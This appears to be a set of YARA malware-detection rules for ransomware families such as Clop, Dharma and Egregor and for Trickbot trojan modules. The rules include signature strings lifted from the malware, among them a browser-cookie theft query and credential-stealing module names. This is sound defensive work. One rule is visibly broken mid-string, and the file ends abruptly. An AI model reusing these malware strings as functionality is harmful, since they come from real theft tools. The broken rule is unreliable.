+rule Windows_Ransomware_Clop_6a1670aa : beta { + meta: + name = "YARA Ransomware - CLOP Variant B" + id = "6a1670aa-7f78-455b-9e28-f39ed4c6476e" + fingerprint = "7c24cc6a519922635a519dad412d1a07728317b91f90a120ccc1c7e7e2c8a002" + creation_date = "2020-05-03" + last_modified = "2021-02-16" + description = "Identifies CLOP ransomware in unpacked state" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Clop" + threat_name = "Windows.Ransomware.Clop" + source = "Manual" + maturity = "Diagnostic" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop" + scan_type = "File, Memory" + severity = 100 + strings: + $b1 = { FF 15 04 E1 40 00 83 F8 03 74 0A 83 F8 02 } +condition: + 1 of ($b*) +} + +rule Windows_Ransomware_Clop_e04959b5 : beta { + meta: + name = "YARA Ransomware - CLOP Variant A" + id = "e04959b5-f3da-428d-8b56-8a9817fdebe0" + fingerprint = "7367b90772ce6db0d639835a0a54a994ef8ed351b6dadff42517ed5fbc3d0d1a" + creation_date = "2020-05-03" + last_modified = "2021-03-18" + description = "Identifies CLOP ransomware in unpacked state" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Clop" + threat_name = "Windows.Ransomware.Clop" + source = "Manual" + maturity = "Diagnostic" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "-%s\\CIopReadMe.txt" wide fullword + $a2 = "CIopReadMe.txt" wide fullword + $a3 = "%s-CIop^_" wide fullword + $a4 = "%s%s.CIop" wide fullword + $a5 = "BestChangeT0p^_-666" ascii fullword + $a6 = ".CIop" wide fullword + $a7 = "A%s\\ClopReadMe.txt" wide fullword + $a8 = "%s%s.Clop" wide fullword + $a9 = "CLOP#666" wide fullword + $a10 = "MoneyP#666" wide fullword +condition: + 1 of ($a*) +} + +rule Windows_Ransomware_Clop_9ac9ea3e : beta { + meta: + name = "YARA Ransomware - CLOP Variant C" + id = "9ac9ea3e-72e1-4151-a2f8-87869f5f98e3" + fingerprint = "1cb0adb36e94ef8f8d74862250205436ed3694ed7719d8e639cfdd0c8632fd6c" + creation_date = "2020-05-03" + last_modified = "2021-02-16" + description = "Identifies CLOP ransomware in unpacked state" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Clop" + threat_name = "Windows.Ransomware.Clop" + source = "Manual" + maturity = "Diagnostic" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop" + scan_type = "File, Memory" + severity = 100 + strings: + $c1 = { 8B 1D D8 E0 40 00 33 F6 8B 3D BC E0 40 00 } +condition: + 1 of ($c*) +} + +rule Windows_Ransomware_Clop_606020e7 : beta { + meta: + name = "YARA Ransomware - CLOP Variant D" + id = "606020e7-ce1a-4a48-b801-100fd22b3791" + fingerprint = "5ec4e00ddf2cb1315ec7d62dd228eee0d9c15fafe4712933d42e868f83f13569" + creation_date = "2020-05-03" + last_modified = "2021-02-16" + description = "Identifies CLOP ransomware in unpacked state" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Clop" + threat_name = "Windows.Ransomware.Clop" + source = "Manual" + maturity = "Diagnostic" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop" + scan_type = "File, Memory" + severity = 100 + strings: + $d1 = { B8 E1 83 0F 3E F7 E6 8B C6 C1 EA 04 8B CA C1 E1 05 03 CA } +condition: + 1 of ($d*) +} + +rule Windows_Ransomware_Darkside_d7fc4594 { + meta: + id = "d7fc4594-185c-4afb-986e-5718c0beabf1" + fingerprint = "cc3adb3425b004fcc7b501932b9ac6c1531fbc35ee961680bfb06277b6c461b4" + creation_date = "2021-05-20" + last_modified = "2021-05-20" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Darkside" + threat_name = "Windows.Ransomware.Darkside" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "bfb31c96f9e6285f5bb60433f2e45898b8a7183a2591157dc1d766be16c29893" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = { 5F 30 55 56 BD 0A 00 00 00 8B 07 8B 5F 10 8B 4F 20 8B 57 30 } + $a2 = { 75 05 8A 16 46 12 D2 73 E6 02 D2 75 05 8A 16 46 12 D2 73 4F } + $a3 = { 41 54 55 53 48 83 EC 28 48 8B 1F 4C 8B 66 08 48 8D 7C 24 10 4C } +condition: + any of them +} + +rule Windows_Ransomware_Dharma_aa5eefed : beta { + meta: + name = "YARA Ransomware - DHARMA Variant C" + id = "aa5eefed-7212-42c9-b51d-2c58c65b53e5" + fingerprint = "d3baf3474b450931b594322d190b243bdd813156ad80f04abcadde0db3bfe149" + creation_date = "2020-06-25" + last_modified = "2021-02-16" + description = "Identifies DHARMA ransomware" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Dharma" + threat_name = "Windows.Ransomware.Dharma" + source = "Manual" + maturity = "Diagnostic" + reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/" + scan_type = "File, Memory" + severity = 100 + strings: + $c1 = { 4D F0 51 8B 55 E8 52 E8 CD 10 00 00 83 C4 08 89 45 E8 8A 45 F9 04 01 88 45 F9 0F B6 4D F9 8B 55 E4 8A 04 0A 88 45 FB 0F B6 4D FB 0F B6 55 FA 03 D1 88 55 FA 0F B6 45 FA 8B 4D E4 8A 14 01 88 55 EF 0F B6 45 F9 8B 4D E4 8A 55 EF 88 14 01 0F B6 45 FA 8B 4D E4 8A 55 FB 88 14 01 8B 45 0C 03 45 F4 0F B6 08 0F B6 55 FB 0F B6 45 EF 03 D0 0F B6 D2 8B 45 E4 0F B6 14 10 33 CA 8B 45 E8 03 45 F4 88 08 } + $c2 = { 21 0C 7D 01 02 04 08 10 20 40 80 1B 36 6C D8 AB 4D 9A 2F 5E BC 63 C6 97 35 6A D4 B3 7D FA EF C5 91 00 00 A5 63 63 C6 84 7C 7C F8 99 77 77 EE 8D 7B 7B F6 0D F2 F2 FF BD 6B 6B D6 B1 6F 6F DE 54 C5 C5 91 50 30 30 60 03 01 01 02 A9 67 67 CE 7D 2B 2B 56 } +condition: + 1 of ($c*) +} + +rule Windows_Ransomware_Dharma_b31cac3f : beta { + meta: + name = "YARA Ransomware - DHARMA Variant B" + id = "b31cac3f-6e04-48b2-9d16-1a6b66fa8012" + fingerprint = "25d23d045c57758dbb14092cff3cc190755ceb3a21c8a80505bd316a430e21fc" + creation_date = "2020-06-25" + last_modified = "2021-03-18" + description = "Identifies DHARMA ransomware" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Dharma" + threat_name = "Windows.Ransomware.Dharma" + source = "Manual" + maturity = "Diagnostic" + reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/" + scan_type = "File, Memory" + severity = 100 + author = "Daniel Stepanic" + rule_version = "1.0" + strings: + $b1 = "sssssbsss" ascii fullword + $b2 = "sssssbs" ascii fullword + $b3 = "RSDS%~m" ascii fullword +condition: + 3 of ($b*) +} + +rule Windows_Ransomware_Dharma_e9319e4a : beta { + meta: + name = "YARA Ransomware - DHARMA Variant D" + id = "e9319e4a-3850-4bad-9579-4b73199a0963" + fingerprint = "4a4f3aebe4c9726cf62dde454f01cbf6dcb09bf3ef1b230d548fe255f01254aa" + creation_date = "2020-06-25" + last_modified = "2021-02-16" + description = "Identifies DHARMA ransomware" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Dharma" + threat_name = "Windows.Ransomware.Dharma" + source = "Manual" + maturity = "Diagnostic" + reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/" + scan_type = "File, Memory" + severity = 100 + strings: + $d = { 08 8B 51 24 8B 45 08 8B 48 18 0F B7 14 51 85 D2 74 47 8B 45 08 8B } +condition: + 1 of ($d*) +} + +rule Windows_Ransomware_Dharma_942142e3 : beta { + meta: + name = "YARA Ransomware - DHARMA Variant A" + id = "942142e3-9197-41c4-86cc-66121c8a9ab5" + fingerprint = "e8ee60d53f92dd1ade8cc956c13a5de38f9be9050131ba727f2fab41dde619a8" + creation_date = "2020-06-25" + last_modified = "2021-03-18" + description = "Identifies DHARMA ransomware" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Dharma" + threat_name = "Windows.Ransomware.Dharma" + source = "Manual" + maturity = "Diagnostic" + reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "C:\\crysis\\Release\\PDB\\payload.pdb" ascii fullword +condition: + 1 of ($a*) +} + +rule Windows_Ransomware_Doppelpaymer_6660d29f : beta { + meta: + name = "YARA Ransomware - DOPPELPAYMER Variant A" + id = "6660d29f-aca9-4156-90a0-ce64fded281a" + fingerprint = "8bf4d098b8ce9da99a2ca13fa0759a7185ade1b3ab3b281cd15749d68546d130" + creation_date = "2020-06-28" + last_modified = "2021-03-18" + description = "Identifies DOPPELPAYMER ransomware" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Doppelpaymer" + threat_name = "Windows.Ransomware.Doppelpaymer" + source = "Manual" + maturity = "Diagnostic" + reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "Setup run" wide fullword + $a2 = "RtlComputeCrc32" ascii fullword +condition: + 2 of ($a*) +} + +rule Windows_Ransomware_Doppelpaymer_0b9b75b5 : beta { + meta: + name = "YARA Ransomware - DOPPELPAYMER Variant B" + id = "0b9b75b5-f521-4414-8216-cde5de6b8ff7" + fingerprint = "4fe2f648afa0031c2a4807ae882ddf19302ce6a6d26b04341950e84dbf6c1374" + creation_date = "2020-06-28" + last_modified = "2021-02-16" + description = "Identifies DOPPELPAYMER ransomware" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Doppelpaymer" + threat_name = "Windows.Ransomware.Doppelpaymer" + source = "Manual" + maturity = "Diagnostic" + reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/" + scan_type = "File, Memory" + severity = 100 + strings: + $b1 = { 8B D8 BA FF FF FF 7F 8B 4B } +condition: + 1 of ($b*) +} + +rule Windows_Ransomware_Doppelpaymer_6ab188da : beta { + meta: + name = "YARA Ransomware - DOPPELPAYMER Variant D" + id = "6ab188da-4e73-4669-816c-554b2f04ee65" + fingerprint = "6c33e09e66b337064a1feae5c162f72dc5f6caecaa9829e4ad9fffb10ef3e576" + creation_date = "2020-06-28" + last_modified = "2021-02-16" + description = "Identifies DOPPELPAYMER ransomware" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Doppelpaymer" + threat_name = "Windows.Ransomware.Doppelpaymer" + source = "Manual" + maturity = "Diagnostic" + reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/" + scan_type = "File, Memory" + severity = 100 + author = "Daniel Stepanic" + rule_version = "1.0" + strings: + $d1 = { 56 55 55 55 F7 EF B8 56 55 55 55 8B EA F7 E9 8B C2 8B D1 C1 FA 1F 2B C2 C1 FF 1F 2B EF 8D 14 40 B8 F3 1A CA 6B 2B CA 03 E9 F7 ED 8B CD C1 FA 05 C1 F9 1F 2B D1 6B CA B4 03 CD 74 1C 81 E1 03 00 00 80 7D 07 83 E9 01 83 C9 FC 41 8B C1 F7 D8 85 C9 8D 7C 05 04 0F 45 EF 8D 44 55 02 5D 5F C3 } +condition: + 1 of ($d*) +} + +rule Windows_Ransomware_Doppelpaymer_4fb1a155 : beta { + meta: + name = "YARA Ransomware - DOPPELPAYMER Variant C" + id = "4fb1a155-6448-41e9-829a-e765b7c2570e" + fingerprint = "f7c1bb3e9d1ad02e7c4edf8accf326330331f92a0f1184bbc19c5bde7505e545" + creation_date = "2020-06-28" + last_modified = "2021-02-16" + description = "Identifies DOPPELPAYMER ransomware" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Doppelpaymer" + threat_name = "Windows.Ransomware.Doppelpaymer" + source = "Manual" + maturity = "Diagnostic" + reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/" + scan_type = "File, Memory" + severity = 100 + author = "Daniel Stepanic" + rule_version = "1.0" + strings: + $c1 = { 83 EC 64 8B E9 8B 44 24 ?? 8B 00 0F B7 10 83 FA 5C 75 } +condition: + 1 of ($c*) +} + +rule Windows_Ransomware_Egregor_f24023f3 : beta { + meta: + name = "YARA Ransomware - EGREGOR Variant A" + id = "f24023f3-c887-42fc-8927-cdbd04b5f84f" + fingerprint = "3a82a548658e0823678ec9d633774018ddc6588f5e2fbce74826a46ce9c43c40" + creation_date = "2020-10-15" + last_modified = "2021-03-18" + description = "Identifies EGREGOR (Sekhemt) ransomware" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Egregor" + threat_name = "Windows.Ransomware.Egregor" + source = "Manual" + maturity = "Diagnostic" + reference = "https://www.bankinfosecurity.com/egregor-ransomware-adds-to-data-leak-trend-a-15110" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "M:\\sc\\p\\testbuild.pdb" ascii fullword + $a2 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" wide fullword + $a3 = "nIcG`]/h3kpJ0QEAC5OJC| 5 or #c1 > 5 +} + +rule Windows_Trojan_Trickbot_01365e46 { + meta: + id = "01365e46-c769-4c6e-913a-4d1e42948af2" + fingerprint = "98505c3418945c10bf4f50a183aa49bdbc7c1c306e98132ae3d0fc36e216f191" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + reference_sample = "5c450d4be39caef1d9ec943f5dfeb6517047175fec166a52970c08cd1558e172" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 8B 43 28 4C 8B 53 18 4C 8B 5B 10 4C 8B 03 4C 8B 4B 08 89 44 24 38 48 89 4C 24 30 4C } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_06fd4ac4 { + meta: + id = "06fd4ac4-1155-4068-ae63-4d83db2bd942" + fingerprint = "ece49004ed1d27ef92b3b1ec040d06e90687d4ac5a89451e2ae487d92cb24ddd" + creation_date = "2021-03-28" + last_modified = "2021-03-30" + description = "Identifies Trickbot unpacker" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 5F 33 C0 68 ?? ?? 00 00 59 50 E2 FD 8B C7 57 8B EC 05 ?? ?? ?? 00 89 45 04 } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_ce4305d1 { + meta: + id = "ce4305d1-8a6f-4797-afaf-57e88f3d38e6" + fingerprint = "ae606e758b02ccf2a9a313aebb10773961121f79a94c447e745289ee045cf4ee" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { F9 8B 45 F4 89 5D E4 85 D2 74 39 83 C0 02 03 C6 89 45 F4 8B } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_1e56fad7 { + meta: + id = "1e56fad7-383f-4ee0-9f8f-a0b3dcceb691" + fingerprint = "a0916134f47df384bbdacff994970f60d3613baa03c0a581b7d1dd476af3121b" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 5B C9 C2 18 00 43 C1 02 10 7C C2 02 10 54 C1 02 10 67 C1 02 10 } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_93c9a2a4 { + meta: + id = "93c9a2a4-a07a-4ed4-a899-b160d235bf50" + fingerprint = "0ff82bf9e70304868ff033f0d96e2a140af6e40c09045d12499447ffb94ab838" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 6A 01 8B CF FF 50 5C 8B 4F 58 49 89 4F 64 8B 4D F4 8B 45 E4 } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_5340afa3 { + meta: + id = "5340afa3-ff90-4f61-a1ac-aba1f32dd375" + fingerprint = "7da4726ccda6a76d2da773d41f012763802d586f64a313c1c37733905ae9da81" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { E8 0C 89 5D F4 0F B7 DB 03 5D 08 66 83 F8 03 75 0A 8B 45 14 } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_e7932501 { + meta: + id = "e7932501-66bf-4713-b10e-bcda29f4b901" + fingerprint = "ae31b49266386a6cf42289a08da4a20fc1330096be1dae793de7b7230225bfc7" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 24 0C 01 00 00 00 85 C0 7C 2F 3B 46 24 7D 2A 8B 4E 20 8D 04 } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_cd0868d5 { + meta: + id = "cd0868d5-42d8-437f-8c1a-303526c08442" + fingerprint = "2f777285a90fce20cd4eab203f3ec7ed1c62e09fc2dfdce09b57e0802f49628f" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 8D 1C 01 89 54 24 10 8B 54 24 1C 33 C9 66 8B 0B 8D 3C 8A 8B 4C } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_515504e2 { + meta: + id = "515504e2-6b7f-4398-b89b-3af2b46c78a7" + fingerprint = "8eb741e1b3bd760e2cf511ad6609ac6f1f510958a05fb093eae26462f16ee1d0" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 6A 00 6A 00 8D 4D E0 51 FF D6 85 C0 74 29 83 F8 FF 74 0C 8D } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_a0fc8f35 { + meta: + id = "a0fc8f35-cbeb-43a8-b00d-7a0f981e84e4" + fingerprint = "033ff4f47fece45dfa7e3ba185df84a767691e56f0081f4ed96f9e2455a563cb" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 18 33 DB 53 6A 01 53 53 8D 4C 24 34 51 8B F0 89 5C 24 38 FF D7 } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_cb95dc06 { + meta: + id = "cb95dc06-6383-4487-bf10-7fd68d61e37a" + fingerprint = "0d28f570db007a1b91fe48aba18be7541531cceb7f11a6a4471e92abd55b3b90" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 08 5F 5E 33 C0 5B 5D C3 8B 55 14 89 02 8B 45 18 5F 89 30 B9 01 00 } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_9d4d3fa4 { + meta: + id = "9d4d3fa4-4e37-40d7-8399-a49130b7ef49" + fingerprint = "b06c3c7ba1f5823ce381971ed29554e5ddbe327b197de312738165ee8bf6e194" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 89 44 24 18 33 C9 89 44 24 1C 8D 54 24 38 89 44 24 20 33 F6 89 44 } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_34f00046 { + meta: + id = "34f00046-8938-4103-91ec-4a745a627d4a" + fingerprint = "5c6f11e2a040ae32336f4b4c4717e0f10c73359899302b77e1803f3a609309c0" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 30 FF FF FF 03 08 8B 95 30 FF FF FF 2B D1 89 95 30 FF FF FF } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_f2a18b09 { + meta: + id = "f2a18b09-f7b3-4d1a-87ab-3018f520b69c" + fingerprint = "3e4474205efe22ea0185c49052e259bc08de8da7c924372f6eb984ae36b91a1c" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 04 39 45 08 75 08 8B 4D F8 8B 41 18 EB 0F 8B 55 F8 8B 02 89 } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_d916ae65 { + meta: + id = "d916ae65-c97b-495c-89c2-4f1ec90081d2" + fingerprint = "2e109ed59a1e759ef089e04c21016482bf70228da30d8b350fc370b4e4d120e0" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 5F 24 01 10 CF 22 01 10 EC 22 01 10 38 23 01 10 79 23 01 10 82 } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_52722678 { + meta: + id = "52722678-afbe-43ec-a39b-6848b7d49488" + fingerprint = "e67dda5227be74424656957843777ea533b6800576fd85f978fd8fb50504209c" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 2B 5D 0C 89 5D EC EB 03 8B 5D EC 8A 1C 3B 84 DB 74 0D 38 1F } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_28a60148 { + meta: + id = "28a60148-2efb-4cd2-ada1-dd2ae2699adf" + fingerprint = "c857aa792ef247bfcf81e75fb696498b1ba25c09fc04049223a6dfc09cc064b1" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { C0 31 E8 83 7D 0C 00 89 44 24 38 0F 29 44 24 20 0F 29 44 24 10 0F 29 } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_997b25a0 { + meta: + id = "997b25a0-aeac-4f74-aa87-232c4f8329b6" + fingerprint = "0bba1c5284ed0548f51fdfd6fb96e24f92f7f4132caefbf0704efb0b1a64b7c4" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 85 D2 74 F0 C6 45 E1 20 8D 4D E1 C6 45 E2 4A C6 45 E3 4A C6 45 } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_b17b33a1 { + meta: + id = "b17b33a1-1021-4980-8ffd-2e7aa4ca2ae4" + fingerprint = "753d15c1ff0cc4cf75250761360bb35280ff0a1a4d34320df354e0329dd35211" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 08 53 55 56 57 64 A1 30 00 00 00 89 44 24 10 8B 44 24 10 8B } +condition: + all of them +} + +rule Windows_Trojan_Trickbot_23d77ae5 { + meta: + id = "23d77ae5-80de-4bb0-8701-ddcaff443dcc" + fingerprint = "d382a99e5eed87cf2eab5e238e445ca0bf7852e40b0dd06a392057e76144699f" + creation_date = "2021-03-28" + last_modified = "2021-04-12" + description = "Targets importDll64 containing Browser data stealer module" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "844974A2D3266E1F9BA275520C0E8A5D176DF69A0CCD5135B99FACF798A5D209" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "/system32/cmd.exe /c \"start microsoft-edge:{URL}\"" ascii fullword + $a2 = "SELECT name, value, host_key, path, expires_utc, creation_utc, encrypted_value FROM cookies" ascii fullword + $a3 = "attempt %d. Cookies not found" ascii fullword + $a4 = "attempt %d. History not found" ascii fullword + $a5 = "Cookies version is %d (%d)" ascii fullword + $a6 = "attempt %d. Local Storage not found" ascii fullword + $a7 = "str+='xie.com.'+p+'.guid='+'{'+components[i]+'}\\n';" ascii fullword + $a8 = "Browser exec is: %s" ascii fullword + $a9 = "found mozilla key: %s" ascii fullword + $a10 = "Version %d is not supported" ascii fullword + $a11 = "id %d - %s" ascii fullword + $a12 = "prot: %s, scope: %s, port: %d" ascii fullword + $a13 = "***** Send %d bytes to callback from %s *****" ascii fullword + $a14 = "/chrome.exe {URL}" ascii fullword +condition: + 4 of ($a*) +} + +rule Windows_Trojan_Trickbot_5574be7d { + meta: + id = "5574be7d-7502-4357-8110-2fb4a661b2bd" + fingerprint = "23d9b89917a0fc5aad903595b89b650f6dbb0f82ce28ce8bcc891904f62ccf1b" + creation_date = "2021-03-29" + last_modified = "2021-04-12" + description = "Targets injectDll64 containing injection functionality to steal banking credentials" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "8c5c0d27153f60ef8aec57def2f88e3d5f9a7385b5e8b8177bab55fa7fac7b18" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "webinject64.dll" ascii fullword + $a2 = "Mozilla Firefox version: %s" ascii fullword + $a3 = "socks=127.0.0.1:" ascii fullword + $a4 = "" ascii fullword + $a5 = "" ascii fullword + $a6 = "https://%.*s%.*s" ascii fullword + $a7 = "http://%.*s%.*s" ascii fullword + $a8 = "Chrome version: %s" ascii fullword + $a9 = "IE version real: %s" ascii fullword + $a10 = "IE version old: %s" ascii fullword + $a11 = "Build date: %s %s" ascii fullword + $a12 = "EnumDpostServer" ascii fullword + $a13 = "ESTR_PASS_" ascii fullword + $a14 = "" ascii fullword + $a15 = "" ascii fullword + $a16 = "" ascii fullword +condition: + 4 of ($a*) +} + +rule Windows_Trojan_Trickbot_1473f0b4 { + meta: + id = "1473f0b4-a6b5-4b19-a07e-83d32a7e44a0" + fingerprint = "15438ae141a2ac886b1ba406ba45119da1a616c3b2b88da3f432253421aa8e8b" + creation_date = "2021-03-29" + last_modified = "2021-04-12" + description = "Targets mailsearcher64.dll module" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "9cfb441eb5c60ab1c90b58d4878543ee554ada2cceee98d6b867e73490d30fec" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "mailsearcher.dll" ascii fullword + $a2 = "%s/%s/%s/send/" wide fullword + $a3 = "Content-Disposition: form-data; name=\"list\"" ascii fullword + $a4 = "no" ascii fullword + $a6 = "=Waitu H" ascii fullword + $a7 = "Content-Length: %d" ascii fullword +condition: + 2 of ($a*) +} + +rule Windows_Trojan_Trickbot_dcf25dde { + meta: + id = "dcf25dde-36c4-4a24-aa2b-0b3f42324918" + fingerprint = "4088ae29cb3b665ccedf69e9d02c1ff58620d4b589343cd4077983b25c5b479f" + creation_date = "2021-03-29" + last_modified = "2021-04-12" + description = "Targets networkDll64.dll module containing functionality to gather network and system information" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "BA2A255671D33677CAB8D93531EB25C0B1F1AC3E3085B95365A017463662D787" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "Host Name - %s" wide 